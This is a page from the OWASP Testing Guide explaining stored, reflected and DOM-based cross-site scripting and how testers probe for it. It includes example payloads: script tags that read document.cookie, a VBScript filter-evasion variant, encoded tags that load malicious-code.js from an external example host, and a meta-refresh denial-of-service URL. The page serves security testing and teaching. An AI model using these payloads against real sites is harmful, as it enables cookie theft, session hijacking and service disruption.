Testing for Cross site scripting

From OWASP

Up
OWASP Testing Guide v2 Table of Contents

Overview

Cross-site Scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

Related Security Activities

Description of Cross-site scripting Vulnerabilities

See the OWASP articles on Cross-site Scripting (XSS) Vulnerabilities and DOM Based XSS.

How to Avoid Cross-site scripting Vulnerabilities

See the OWASP Guide article on Phishing.

How to Review Code for Cross-site scripting Vulnerabilities

See the OWASP Code Review Guide article on how to Reviewing code for Cross-site scripting Vulnerabilities.

XSS Filter Evasion Cheat Sheet

The XSS Filter Evasion Cheat Sheet is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.

Description of the Issue

XSS attacks are essentially code injection attacks into the various interpreters in the browser. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash, and other client–side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases, Cross Site Scripting vulnerabilities can perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.

Cross Site Scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties (the attacker and the web site, or the attacker and the victim client) the XSS attack involves three parties –– the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies or any other sensitive information which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site, impersonating the user – Identity theft!

Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the <Script> tag. Typically, XSS attacks involve malicious JavaScript, but they can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities. Cross Site Scripting is used in many Phishing attacks.

Now we explain the three types of Cross Site Scripting: Stored, Reflected, and DOM–Based.

The **Stored Cross Site Scripting** vulnerability is the most powerful kind of XSS attack. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entity encoding. A real life example of this would be the Samy MySpace Worm, which exploited an XSS vulnerability found on MySpace in October of 2005.

These vulnerabilities are the most significant of the XSS types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering, or the web application could even be infected by a cross–site scripting virus.

Example

If we have a site that permits us to leave a message to the other user (a lesson of WebGoat v3.7), and we inject a script insted of a message in the following way:

Now the server will store this information and when a user clicks on our fake message, his browser will execute our script as follows:

The **Reflected Cross–Site Scripting** vulnerability is by far the most common and well–known type. These holes show up when data provided by a web client is used immediately by server–side scripts to generate a page of results for that user. If unvalidated user–supplied data is included in the resulting page without HTML encoding, this will allow client–side code to be injected into the dynamic page. A classic example of this is in site search engines: if one

searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.

At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack. In some cases a Denial of Service attack can be performed on the server by doing the following:

```
article.php?title=<meta%20http-equiv="refresh"%20content="0;">
```

This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests, potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes.

The **DOM-based Cross-Site Scripting** problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script. Exploiting such a hole would be very similar to the exploitation of Reflected XSS vulnerabilities, except in one very important situation.

For example, if an attacker hosts a malicious website which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.

The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how posting a stored XSS script to a popular blog, newspaper, or page comments section of a website can cause all the visitors of that page to have their internal networks scanned and logged for a particular type of vulnerability.

Black Box testing and example

One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:

```
http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
```

The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server. All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult.

Example 1:

Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case, rendering Cross Site Scripting utilizing inline JavaScript useless. If this is the case, you may want to use VBScript since it is not a case sensitive language.

JavaScript:

```
<script>alert(document.cookie);</script>
```

VBScript:

```
<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script>
```

Also, you can use the SRC attribute to load the attacker's JavaScript from an external site (see Example 2 below), causing the JavaScript payload to be loaded directly and bypassing capitalization effects altogether.

Example 2:

If they are filtering for the < or the open of <script or closing of script> you should try various methods of encoding:

```
<script src=http://www.example.com/malicious-code.js></script>
```

```
%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
```

```
\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e
```

You can find more examples of XSS Injection here:
http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors

References

Whitepapers

- Jeremiah Grossman: "Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous"" – http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf
- Amit Klien: "DOM Based Cross Site Scripting" – http://www.securiteam.com/securityreviews/5MP080KGKW.html
- Paul Lindner: "Preventing Cross-site Scripting Attacks" – http://www.perl.com/pub/a/2002/02/20/css.html

- CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html
- Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - http://yehg.net/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf

Tools

- **PHP Charset Encoder(PCE)** - http://yehg.net/encoding

PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customized payloads.

- **HackVector(HVR)** - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php

---